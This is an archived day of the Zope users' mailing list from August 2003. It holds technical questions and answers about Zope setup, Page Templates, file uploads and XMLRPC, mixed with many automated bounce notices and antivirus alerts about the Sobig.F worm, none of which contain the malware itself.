(Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0202E971" -------------------------- END HEADERS ------------------------------ From fjord at fjordimages.com Tue Aug 19 16:44:08 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Tue Aug 19 11:44:09 2003 Subject: [Zope] Re: Re: Approved Message-ID: <1061307456.18128.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From elena.schulz at gmx.net Tue Aug 19 18:42:07 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Tue Aug 19 11:52:11 2003 Subject: [Zope] zope2.7b1 does not start on winXP References: <001201c36629$b027da80$010aa8c0@PCA> <2147483647.1061288922@[10.19.128.17]> Message-ID: <00c101c36669$d4237a80$010aa8c0@PCA> Hi Andreas, > Somehow your installation is borked since Zope 2.7 requires Python 2.2.3 > and you > are using 2.1.... or so. yes, it looks like that but my question is, how comes since my runzope.bat (my Zope-starter) is configured to use the default zope 2.7 python? Is there any use of the registry for the decision which dll's to use? -- Elena It looks like this: @set PYTHON=L:\Zope\Zope27\Zope-2.7.0-b1\bin\python.exe @set ZOPE_HOME=L:\Zope\Zope27\Zope-2.7.0-b1 @set INSTANCE_HOME=L:\Zope\Zope27\ZopeInstanceFiles @set CONFIG_FILE=%INSTANCE_HOME%\etc\zope.conf @set PYTHONPATH=%ZOPE_HOME%\lib\python @set ZOPE_RUN=%ZOPE_HOME%\lib\python\Zope\Startup\run.py "%PYTHON%" "%ZOPE_RUN%" -C "%CONFIG_FILE%" %1 %2 %3 %4 %5 %6 %7 From allison at sumeru.stanford.EDU Tue Aug 19 10:01:40 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 19 12:01:53 2003 Subject: [Zope] Cleaning HTML for use as ZPT In-Reply-To: <20030819152422.48416.qmail@web41804.mail.yahoo.com> Message-ID: You don't say why you need to put the existing HTML into TAL. Why not serve the old malformed HTML (that works) directly and use TAL and/or DTML to invoke it. I use this approach to good effect. I actually store the HTML in the local file system and access it through LocalFS. Over time you can migrate HTM to TAL as features are added, etc. On Tue, 19 Aug 2003, Robert Jean wrote: > Hello, > > I have to import existing HTML pages into Zope and use > them as Page Templates. The problem I have is that > many or most of these pages are not proper HTML and > they are (rightly so) refused by the TAL HTML parser. > > Do you know of any simple way to clean up the original > HTML? I was thinking of HTML Tidy, or something > similar, used as a Web service or installed locally. > > Any idea greatly appreciated. > Thanks, > > Robert > > > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site design software > http://sitebuilder.yahoo.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From virus at conceptis.com Tue Aug 19 13:02:11 2003 From: virus at conceptis.com (MailScanner) Date: Tue Aug 19 12:04:10 2003 Subject: [Zope] Warning: E-mail viruses detected Message-ID: Our virus detector has just been triggered by a message you sent:- To: sjeffrey@conceptis.com Subject: Re: Re: My details Date: Tue Aug 19 12:02:11 2003 One or more of the attachments are on the list of unacceptable attachments for this site and will not have been delivered. Consider renaming the files or putting them into a "zip" file to avoid this constraint. The virus detector said this about the message: Report: Shortcuts to MS-Dos programs are very dangerous in email (details.pif) -- MailScanner Email Virus Scanner www.mailscanner.info From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 12:44:02 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Tue Aug 19 12:09:40 2003 Subject: [Zope] Undeliverable mail: Re: That movie Message-ID: Failed to deliver to '' Virus(es) found. document_all.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 574 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/5b01fd20/attachment.bin From allison at sumeru.stanford.EDU Tue Aug 19 10:11:00 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 19 12:11:11 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <00fa01c36660$677cc6b0$9700000a@MICHAEL> Message-ID: Michael, This returns a File_Upload object. See lib/python/ZPublisher/HTTPRequest.py to see what's under the sheets. On Tue, 19 Aug 2003, Michael Bleijerveld wrote: > Hi all, > > I want to upload a file with this form. > >
> > NAME="ACTION" > > >
> > To check the size with os.path.getsize(file) I need the filename with the > whole path. > > How can I get this from the form variables ? > > Regards. > > Michael > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From robertjean2 at yahoo.com Tue Aug 19 10:19:18 2003 From: robertjean2 at yahoo.com (Robert Jean) Date: Tue Aug 19 12:19:52 2003 Subject: [Zope] Cleaning HTML for use as ZPT In-Reply-To: Message-ID: <20030819161918.12136.qmail@web41806.mail.yahoo.com> Dennis, Thanks for your response. I don't understand what you mean by "use TAL and/or DTML to invoke it". Invoke what? The old malformed HTML has to be rendered by TAL, because after being imported, it is modified and contains a few TAL macros. Robert --- Dennis Allison wrote: > You don't say why you need to put the existing HTML > into TAL. > Why not serve the old malformed HTML (that works) > directly > and use TAL and/or DTML to invoke it. I use this > approach > to good effect. I actually store the HTML in the > local file > system and access it through LocalFS. Over time you > can migrate > HTM to TAL as features are added, etc. > > On Tue, 19 Aug 2003, Robert Jean wrote: > > > Hello, > > > > I have to import existing HTML pages into Zope and > use > > them as Page Templates. The problem I have is that > > many or most of these pages are not proper HTML > and > > they are (rightly so) refused by the TAL HTML > parser. > > > > Do you know of any simple way to clean up the > original > > HTML? I was thinking of HTML Tidy, or something > > similar, used as a Web service or installed > locally. > > > > Any idea greatly appreciated. > > Thanks, > > > > Robert > > > > > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! SiteBuilder - Free, easy-to-use web site > design software > > http://sitebuilder.yahoo.com > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From johanc at easypublisher.com Tue Aug 19 19:28:45 2003 From: johanc at easypublisher.com (Johan Carlsson) Date: Tue Aug 19 12:27:56 2003 Subject: [Zope] A Question about XMLRPC In-Reply-To: References: Message-ID: <3F42503D.50403@easypublisher.com> §d©øÀs wrote: > i am come from taiwan > i have a question about XMLRPC > > i have serched your article in the internet but still can't find the answer > > i want to call XMLRPC in the javascript > > ex .. can i type > a = 2 , b = 3 > and call XMLRPC to acess the answer > then return the answer ??? > > how can i do ??? Please check out the vcXMLRPC Library, it's available under GPL. http://www.vcdn.org/Public/XMLRPC/ August 25 15.30h This is the website for the vcXMLRPC library current version 0.80. A Library written in pure javascript for browsers. No CGI is used. No Server-side scripting required! (A Perl script for routing is available but optional) The library currently supports Mozilla and Internet Explorer, Base64 decoding and Routing, for more information see the documentation and the changelog. There are some examples available but everything on this site is under construction. This library is written by Virtual Cowboys, a dutch company. It is written by Ruben Daniels. Some features are build with the help of Thomas from Saltstorm -- Johan Carlsson Tel: + 46 8 31 24 94 Colliberty Mob: + 46 70 558 25 24 Torsgatan 72 Email: johanc@easypublisher.com SE-113 37 STOCKHOLM From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 13:40:58 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Tue Aug 19 12:41:13 2003 Subject: [Zope] Undeliverable mail: Thank you! Message-ID: Failed to deliver to '' Virus(es) found. movie0045.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 562 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/76f8242d/attachment.bin From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 13:45:31 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Tue Aug 19 12:45:36 2003 Subject: [Zope] Undeliverable mail: Re: That movie Message-ID: Failed to deliver to '' Virus(es) found. thank_you.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 570 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/8c51afb5/attachment.bin From MAILER-DAEMON at emfe1.iup.edu Tue Aug 19 13:50:32 2003 From: MAILER-DAEMON at emfe1.iup.edu (MAILER-DAEMON@emfe1.iup.edu) Date: Tue Aug 19 12:50:35 2003 Subject: [Zope] Undeliverable mail: Re: Wicked screensaver Message-ID: Failed to deliver to '' Virus(es) found. your_document.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 580 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/75fde2b3/attachment.bin From erik.myllymaki at starpointe.ca Tue Aug 19 10:57:40 2003 From: erik.myllymaki at starpointe.ca (Erik Myllymaki) Date: Tue Aug 19 12:58:29 2003 Subject: [Zope] m2crypto-0.11 win32 binaries? Message-ID: <008401c36673$004c52e0$6721a8c0@inspiron4k> any binaries available out there? thanks. From pw_lists at slinkp.com Tue Aug 19 13:24:35 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 19 13:12:36 2003 Subject: [Zope] Cleaning HTML for use as ZPT In-Reply-To: <20030819161918.12136.qmail@web41806.mail.yahoo.com> References: <20030819161918.12136.qmail@web41806.mail.yahoo.com> Message-ID: <20030819162435.GC1057@slinkp.com> On Tue, Aug 19, 2003 at 09:19:18AM -0700, Robert Jean wrote: > Dennis, > > Thanks for your response. > > I don't understand what you mean by "use TAL and/or > DTML to invoke it". Invoke what? maybe he meant import the old stuff as a File or a DTML method or some such, then in another ZPT do a > The old malformed HTML has to be rendered by TAL, > because after being imported, it is modified and > contains a few TAL macros. ah, ok. If it's really necessary to do this on the server side, I'd make an upload form, have its target be an an External Method that does roughly this: - pipe the file data to and from Tidy, probably using os.popen2(). (there's an option for Tidy to create valid XHTML, use that.) - create a ZPT from the cleaned up output. (probably the id to use is one of the parameters passed from your upload form...) But, if you are doing a bunch at once, easier would be to just run Tidy on the filesystem and then upload the results to zope... -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE POUNCING PADDLE! (random hero from isometric.spaceninja.com) From Postmaster at us.ibm.com Tue Aug 19 13:49:46 2003 From: Postmaster at us.ibm.com (Postmaster@us.ibm.com) Date: Tue Aug 19 13:19:59 2003 Subject: [Zope] DELIVERY FAILURE: User Gehorne (Gehorne@us.ibm.com) not listed in Domino Directory Message-ID: <200308191649.h7JGnkP3585428@e4.ny.us.ibm.com> Your message Subject: [ProbableSpam] Re: That movie was not delivered to: Gehorne@us.ibm.com because: User Gehorne (Gehorne@us.ibm.com) not listed in Domino Directory -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: [ProbableSpam] Re: That movie Date: Tue, 19 Aug 2003 12:49:46 --0400 Size: 2348 Url: http://lists.zope.org/pipermail/zope/attachments/20030819/6239d697/attachment.eml From MAILER-DAEMON at aol.com Tue Aug 19 14:23:09 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Tue Aug 19 13:24:52 2003 Subject: [Zope] Returned mail: Service unavailable Message-ID: <200308191723.NAD19656@rly-xg05.mx.aol.com> The original message was received at Tue, 19 Aug 2003 13:22:33 -0400 (EDT) from [64.213.190.34] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xg02.mail.aol.com.: >>> DATA <<< 554 TRANSACTION FAILED - Unrepairable Virus Detected. Your mail has not been sent. 554 ... Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 862 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/3aed1f6b/attachment.bin From postmaster at tv2.no Tue Aug 19 20:26:45 2003 From: postmaster at tv2.no (postmaster@tv2.no) Date: Tue Aug 19 13:30:20 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. net2@tv2.no -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: That movie Date: Tue, 19 Aug 2003 18:03:41 +0200 Size: 1775 Url: http://lists.zope.org/pipermail/zope/attachments/20030819/e4d9ab7f/attachment.eml From Postmaster at tele400.bund400.de Tue Aug 19 19:53:49 2003 From: Postmaster at tele400.bund400.de (Postmaster@tele400.bund400.de) Date: Tue Aug 19 13:39:03 2003 Subject: [Zope] Warnung Message-ID: <200308191653.SAA14398@Augsburg.bund.de> Warnung! Wir haben eine E-Mail mit Ihrem Absender abgefangen, die einen Virus enth?lt. Diese E-Mail muss nicht unbedingt von Ihrem Computer aus versandt worden sein, da Computer-Viren und W?rmer oft die Adresse des Absenders f?lschen. M?glicherweise erreicht diese Warnung daher nicht den eigentlichen Verursacher. In diesem Falle k?nnen Sie diese Meldung ignorieren. Warning! We received an e-mail with your sender adress containing a virus. This e-mail was not necessarily sent from your computer, because viruses and worms are often able to fake the senders adress. Therefore it is possible, that this warning reaches not the right originator of the infected e-mail. In such occasions please ignore this warning. Sender: zope@zope.org Empf?nger: Angelika.Koester-Hoffmann@BMGS.BUND.DE Betreff: Re: That movie Datum: Tue, 19 Aug 2003 19:02:35 +0200 Grund : Es wurde eine Schadfunktion z.B. Virus entdeckt. Reason: It contained a virus infected attachment. Viren Name(n): WORM_SOBIG.F Anhang Name(n): UNBEKANNT! From Mailer-Daemon at med.uni-muenchen.de Tue Aug 19 20:20:26 2003 From: Mailer-Daemon at med.uni-muenchen.de (Mailer-Daemon@med.uni-muenchen.de) Date: Tue Aug 19 13:46:36 2003 Subject: [Zope] BENACHRICHTIGUNG ZUR MAIL ZUSTELLUNG Message-ID: <200308191720.h7JHKQ217687@hydra1.fw.med.uni-muenchen.de> Sehr geehrter Internet Email Benutzer, dies ist eine automatisierte Benachrichtung zur Mailzustellung, da Ihre Email nicht auf die gewohnte Art und Weise zugestellt werden konnte. Es ist folgendes Problem aufgetreten: Sie haben eine Mail mit einem Anhang verschickt oder empfangen, dessen Datei-Endung pif lautet. Anhaenge dieses Typs koennen Viren oder andere gefaehrliche Inhalte enthalten und wurden daher von der Firewall gesperrt. Mit freundlichen Gruessen, Ihr GeNUGate Mail-Gateway. =========================================================== In English =========================================================== Dear Internet Email User, this is an automated mail delivery notification, because your email has not been delivered the usual way. Your mail was not deliverd for the following reason: Your mail contained an attachment with the filename extension pif Since such content may contain viruses or other dangerous code it was blocked by the firewall. Best regards, Your GeNUGate Mail Gateway ========================================================= ENVELOPE INFORMATION ========================================================= FROM = zope@zope.org RCPT = Gerhard.Steinbeck@med1.med.uni-muenchen.de ========================================================= HEADER INFORMATION ========================================================= Received: from MED-C-19 (128.176.34.187) by (smtprelay) with ESMTP Tue Aug 19 19:20:22 2003. From: To: Subject: Re: Details Date: Tue, 19 Aug 2003 19:29:17 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_02719470" ========================================================= From alienoid at is.lg.ua Tue Aug 19 21:56:06 2003 From: alienoid at is.lg.ua (Ruslan Spivak) Date: Tue Aug 19 13:56:17 2003 Subject: [Zope] SIGSEGV(11) Message-ID: <3F4264B6.5060108@is.lg.ua> Hello. When i try to access zope on FreeBSD i often see in log these strings: ERROR(200) zdaemon Process 9243 terminated by signal SIGSEGV(11) (core dumped) Can anybody explain me the problem? Your help is very appreciated. Best regards, Ruslan From MAILER-DAEMON at uke.uni-hamburg.de Tue Aug 19 20:27:06 2003 From: MAILER-DAEMON at uke.uni-hamburg.de (Mail Delivery Subsystem) Date: Tue Aug 19 14:04:06 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308191727.h7JHR6Fa008773@plexus.uke.uni-hamburg.de> The original message was received at Tue, 19 Aug 2003 19:27:06 +0200 from root@localhost ----- The following addresses had permanent fatal errors ----- aweiss@uke.uni-hamburg.de.KAV (reason: 550 5.1.1 ... User unknown) (expanded from: aweiss@uke.uni-hamburg.de.KAV) ----- Transcript of session follows ----- ... while talking to localhost: >>> DATA <<< 550 5.1.1 ... User unknown 550 5.1.1 aweiss@uke.uni-hamburg.de.KAV... User unknown <<< 503 5.0.0 Need RCPT (recipient) -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: zope@zope.org Subject: UKE-FOKUS AntiVirus-Filter: Virus found in message to you ! Date: Tue, 19 Aug 2003 19:27:06 +0200 Size: 2261 Url: http://lists.zope.org/pipermail/zope/attachments/20030819/0699e5ad/attachment.eml From kjell.helland at tv2.no Tue Aug 19 21:19:37 2003 From: kjell.helland at tv2.no (=?iso-8859-1?Q?Kjell_=D8vre_Helland?=) Date: Tue Aug 19 14:33:44 2003 Subject: [Zope] =?iso-8859-1?q?Automatisk_svar_n=E5r_du_er_borte_fra_kont?= =?iso-8859-1?q?oret=3A_My_details?= Message-ID: <9B9FDB1021B47B49951357021C81DC99F3441F@ex1.tv2asa.no> Bortreist til 20. august pr?v mobil, sms, 91596788 kjell From list at zettai.net Tue Aug 19 15:07:04 2003 From: list at zettai.net (george donnelly) Date: Tue Aug 19 15:13:51 2003 Subject: [Zope] SIGSEGV(11) In-Reply-To: <3F4264B6.5060108@is.lg.ua> Message-ID: [Ruslan Spivak wrote (alienoid@is.lg.ua) on 8/19/03 12:56 PM] > When i try to access zope on FreeBSD i often see in log these strings: > > ERROR(200) zdaemon Process 9243 terminated by signal SIGSEGV(11) (core > dumped) > > Can anybody explain me the problem? what version of freebsd? what version of zope/python? did you install python from ports? perhaps you need to apply the thread stack size patch...? http://www.zettai.net/Members/george/python213FreeBSDPlone.blog/view <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From root at pt23-qms-01.ptn.no Tue Aug 19 20:21:31 2003 From: root at pt23-qms-01.ptn.no (System Anti-Virus Administrator) Date: Tue Aug 19 15:21:42 2003 Subject: [Zope] Disallowed attachment type found in sent message "Your details" Message-ID: Attention: zope@zope.org A Disallowed attachment type was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching its destination. The Disallowed attachment type was reported to be: PIF files not allowed per Company security policy Please contact your I.T support personnel with any queries regarding this policy. Your message was sent with the following envelope: MAIL FROM: zope@zope.org RCPT TO: info@shipping-publ.no ... and with the following headers: --- MAILFROM: zope@zope.org Received: from unknown (HELO PCKJEMI?OPPL) (62.97.227.98) by 0 with SMTP; 19 Aug 2003 18:54:53 -0000 From: To: Subject: Your details Date: Tue, 19 Aug 2003 21:03:32 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_02B790A3" --- From MAILER-DAEMON at cisco.com Tue Aug 19 13:54:30 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Tue Aug 19 15:56:30 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308191954.h7JJsU12013118@sj-inbound-3.cisco.com> ------------------ Virus Warning Message (on the network) Found virus WORM_SOBIG.F in file details.pif The uncleanable file is deleted. --------------------------------------------------------- -------------- next part -------------- The original message was received at Tue, 19 Aug 2003 12:54:05 -0700 (PDT) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject) (expanded from: ) ----- Transcript of session follows ----- ... while talking to sj-core-1.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Tue, 19 Aug 2003 22:03:12 +0200 Size: 1001 Url: http://lists.zope.org/pipermail/zope/attachments/20030819/5b0641a3/attachment.eml From dieter at handshake.de Tue Aug 19 22:50:57 2003 From: dieter at handshake.de (Dieter Maurer) Date: Tue Aug 19 16:44:13 2003 Subject: [Zope] Mozilla and ZMI strange behaviour In-Reply-To: <3F40D424.8050503@php3.it> References: <3F40D424.8050503@php3.it> Message-ID: <16194.32673.764433.735945@gargle.gargle.HOWL> Paolo Dina wrote at 2003-8-18 15:27 +0200: > When i'm on Metadata tab of ZCatalog (Zope 2.6.1) and i compile the > field to add metadata this happens: > if i submit "Add metadata" hitting Return key i get this error: > > Site Error > blahblah.. (*) > > when i submit using 'Add' button all works fine. > > Any pointers? The action requires the argument thet corresponds to the "Add" button. Apparently, this is not sent when your just press "Return". Dieter From allison at sumeru.stanford.EDU Tue Aug 19 14:33:53 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 19 17:15:54 2003 Subject: [Zope] External management of roles and permissions Message-ID: How do I programmatically set the Security settings programmatically? Specifically, I have a collection of Zopes. I need to verify that each supports certain special security roles and, if they are not present, create them. Then I need to set the permissions for each security option/role programattically--the moral equivalent of going through and checking the boxes. In a few instances I'll also need to test/and or set a proxy programmatically. A quick browse of the API and code didn't point me in the right direction. How does one do this? From chrism at zope.com Tue Aug 19 22:30:18 2003 From: chrism at zope.com (Chris McDonough) Date: Tue Aug 19 17:30:21 2003 Subject: [Zope] zope2.7b1 does not start on winXP In-Reply-To: <00c101c36669$d4237a80$010aa8c0@PCA> References: <001201c36629$b027da80$010aa8c0@PCA> <2147483647.1061288922@[10.19.128.17]> <00c101c36669$d4237a80$010aa8c0@PCA> Message-ID: <1061326343.4522.1.camel@dorothy.zope.com> This sounds strange. I will try to install Python 2.1 on my system alongside of Zope and see if I can replicate it. On Tue, 2003-08-19 at 11:42, Elena Schulz wrote: > Hi Andreas, > > > Somehow your installation is borked since Zope 2.7 requires Python 2.2.3 > > and you > > are using 2.1.... or so. > > yes, it looks like that but my question is, how comes since my runzope.bat > (my Zope-starter) is configured to use the default zope 2.7 python? > Is there any use of the registry for the decision which dll's to use? > > -- Elena > > It looks like this: > > @set PYTHON=L:\Zope\Zope27\Zope-2.7.0-b1\bin\python.exe > @set ZOPE_HOME=L:\Zope\Zope27\Zope-2.7.0-b1 > @set INSTANCE_HOME=L:\Zope\Zope27\ZopeInstanceFiles > @set CONFIG_FILE=%INSTANCE_HOME%\etc\zope.conf > @set PYTHONPATH=%ZOPE_HOME%\lib\python > @set ZOPE_RUN=%ZOPE_HOME%\lib\python\Zope\Startup\run.py > "%PYTHON%" "%ZOPE_RUN%" -C "%CONFIG_FILE%" %1 %2 %3 %4 %5 %6 %7 > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From BGO01 at mail3.rits.idcomnet.no Wed Aug 20 01:14:53 2003 From: BGO01 at mail3.rits.idcomnet.no (BGO01@mail3.rits.idcomnet.no) Date: Tue Aug 19 18:27:07 2003 Subject: [Zope] NAV detected a virus in a document you authored. Message-ID: Please contact your system administrator. All infected components in the scanned document were deleted. Violation Information: The attachment wicked_scr.scr contained the virus W32.Sobig.F@mm and was deleted. The attachment att2.eml [wicked_scr.scr] contained the virus W32.Sobig.F@mm and was deleted. From postmaster at uke.uni-hamburg.de Tue Aug 19 20:27:04 2003 From: postmaster at uke.uni-hamburg.de (postmaster@uke.uni-hamburg.de) Date: Tue Aug 19 18:47:40 2003 Subject: [Zope] UKE-FOKUS AntiVirus-Filter: Virus found in message from you ! Message-ID: <200308191727.h7JHR4IF008631@plexus.uke.uni-hamburg.de> You sent to aweiss@uke.uni-hamburg.de mail with virus. ============================================================ AntiVirus Report: ============================================================ your_details.pif packed: PE_Patch your_details.pif packed: TeLock your_details.pif infected: I-Worm.Sobig.f ============================================================ Bye ! From root at pt23-qms-02.ptn.no Wed Aug 20 00:28:25 2003 From: root at pt23-qms-02.ptn.no (System Anti-Virus Administrator) Date: Tue Aug 19 19:28:28 2003 Subject: [Zope] Disallowed attachment type found in sent message "Re: Wicked screensaver" Message-ID: Attention: zope@zope.org A Disallowed attachment type was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching its destination. The Disallowed attachment type was reported to be: PIF files not allowed per Company security policy Please contact your I.T support personnel with any queries regarding this policy. Your message was sent with the following envelope: MAIL FROM: zope@zope.org RCPT TO: info@shipping-publ.no ... and with the following headers: --- MAILFROM: zope@zope.org Received: from unknown (HELO PCKJEMI?OPPL) (62.97.227.98) by 0 with SMTP; 19 Aug 2003 23:01:38 -0000 From: To: Subject: Re: Wicked screensaver Date: Wed, 20 Aug 2003 1:10:31 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0399AE73" --- From hpinson at indepthl.com Tue Aug 19 16:10:48 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Tue Aug 19 20:44:06 2003 Subject: [Zope] Getting the filename from a file upload In-Reply-To: <16194.32740.472269.606408@gargle.gargle.HOWL> References: <3F40D65C.3039.BE1EA89@localhost> Message-ID: <3F423DF8.21827.1FCCE49@localhost> >> Get name of parent container in a page template. Hi Dieter, thanks-- we elegantly solved this in a thread yesterday. In regards to another thread. I still have questions about using the filename property after a file upload, but am having trouble with the syntax in DTML ... recieving page of submitted HTML form file input: This only shows the file reference. How do I call the filename? I've tried a bunch of things like: To no avail... No obvious solution in the threads that I could find either, though lots of references to the filename property. Thanks for your continued support. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From jens at zope.com Tue Aug 19 23:48:46 2003 From: jens at zope.com (Jens Vagelpohl) Date: Tue Aug 19 23:32:08 2003 Subject: [Zope] Getting the filename from a file upload In-Reply-To: <3F423DF8.21827.1FCCE49@localhost> Message-ID: > This only shows the file reference. How do I call the filename? > I've tried a bunch of things like: > > > > To no avail... No obvious solution in the threads that I could find > either, though lots of references to the filename property. > Try (notice the quotes). jens From BGO01 at mail3.rits.idcomnet.no Wed Aug 20 06:11:29 2003 From: BGO01 at mail3.rits.idcomnet.no (BGO01@mail3.rits.idcomnet.no) Date: Tue Aug 19 23:32:22 2003 Subject: [Zope] NAV detected a virus in a document you authored. Message-ID: Please contact your system administrator. All infected components in the scanned document were deleted. Violation Information: The attachment movie0045.pif contained the virus W32.Sobig.F@mm and was deleted. The attachment att2.eml [movie0045.pif] contained the virus W32.Sobig.F@mm and was deleted. From dieter at handshake.de Tue Aug 19 23:13:11 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 20 01:43:59 2003 Subject: [Zope] adding method to class after object creation In-Reply-To: <3F41D0AE.2070809@is.lg.ua> References: <3F41D0AE.2070809@is.lg.ua> Message-ID: <16194.34007.857036.190277@gargle.gargle.HOWL> Ruslan Spivak wrote at 2003-8-19 10:24 +0300: > Can anybody help me with the following question: > I havbe created zope/cmf product(e.g. LocalizedDocument) with class. > User have created about 40 instances of that class in different places > in zope tree. I need to add some methods to class, but how can i apply > those changes(new methods) to already created objects? This is not necessary. Unlike JavaScript, a class in Python is not a blueprint for object creation. Instead, each object contains a reference to its class. When you look up an attribute, the look up is done first in the object and then (if its fails) in its class. Therefore, when you add attributes to a class, all objects see them automatically (unless, they themselves have defined attributes of the same name). Dieter From dieter at handshake.de Tue Aug 19 22:52:04 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 20 01:44:15 2003 Subject: [Zope] Display parent container title in Page Template In-Reply-To: <3F40D65C.3039.BE1EA89@localhost> References: <3F40D65C.3039.BE1EA89@localhost> Message-ID: <16194.32740.472269.606408@gargle.gargle.HOWL> hpinson@indepthl.com wrote at 2003-8-18 13:36 -0600: > Hi. In a Page Template, how can I display the title property of a > parent container, in this case, a folder? > > For example: > > Title: Item > Title
